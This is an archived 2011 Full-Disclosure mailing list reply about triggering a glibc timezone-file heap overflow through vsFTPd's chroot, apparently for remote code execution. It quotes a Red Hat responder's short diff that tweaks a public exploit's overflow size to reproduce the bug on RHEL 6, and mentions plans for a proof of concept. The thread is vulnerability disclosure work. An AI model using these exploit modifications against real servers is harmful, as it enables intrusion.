full-disclosure - Re: vsFTPd remote code execution

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <CAFB=mGCD3keWa0udFqs5BU8R3+SuGTA8NcRvyted=AwtxCe55w@mail.gmail.com>
Date: Tue, 13 Dec 2011 22:51:38 +0100
From: "HI-TECH ." <isowarez.isowarez.isowarez@...glemail.com>
To: Ramon de C Valle <rcvalle@...hat.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: vsFTPd remote code execution

Does that mean that dividead's bug in glibc was not patched?
I have the feeling that it wasn't, dividead's blogpost is from mid 2009
Awkward :>

Am 13. Dezember 2011 21:12 schrieb Ramon de C Valle <rcvalle@...hat.com>:
>
>
>> as you can obviously see vsftpd loads the /lib/libgcc_s.so.1 inside
>> the chroot,
>> so voila we have the same issue as with FreeBSD ftpd/proftpd.
>> I am now looking into the possibility to modify
>> http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c
>>
>> and use as the library. It will be a fun Proof of Concept.
>
> Hats off to you! :)
>
>>
>> Anyone with an up2date linux local root which only makes use of
>> syscalls? :>
>>
>> All this was tested on a CentOS 5.5 installation, vsFTPd 2.3.4 was
>> compiled from sources
>> and launched from xinetd.
>
> I've also triggered this in RHEL 6 with its latest version of vsftpd installed with the following changes made to dividead's exploit:
>
> --- a.c 2011-12-13 18:05:50.701999990 -0200
> +++ b.c 2011-12-13 18:06:26.874000006 -0200
> @@ -59,8 +59,8 @@
>         total_size = ((total_size + __alignof__ (struct ttinfo) - 1)
>                 & ~(__alignof__ (struct ttinfo) - 1));
>
> -        /* value of chars, to get a malloc(0) */
> -        evil2 = 0 - total_size;
> +        /* value of chars, to get a malloc(500) */
> +        evil2 = 0 - total_size + 500;
>         PUT_32BIT_MSB(evil.tzh_charcnt, evil2);
>
>         p = (char *)&evil;
> @@ -68,6 +68,6 @@
>                 printf("%c", p[i]);
>
>         /* data we overflow with */
> -        for (i = 0; i < 50000; i++)
> +        for (i = 0; i < 500000; i++)
>                 printf("A");
>  }
>
>
> --
> Ramon de C Valle / Red Hat Security Response Team

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/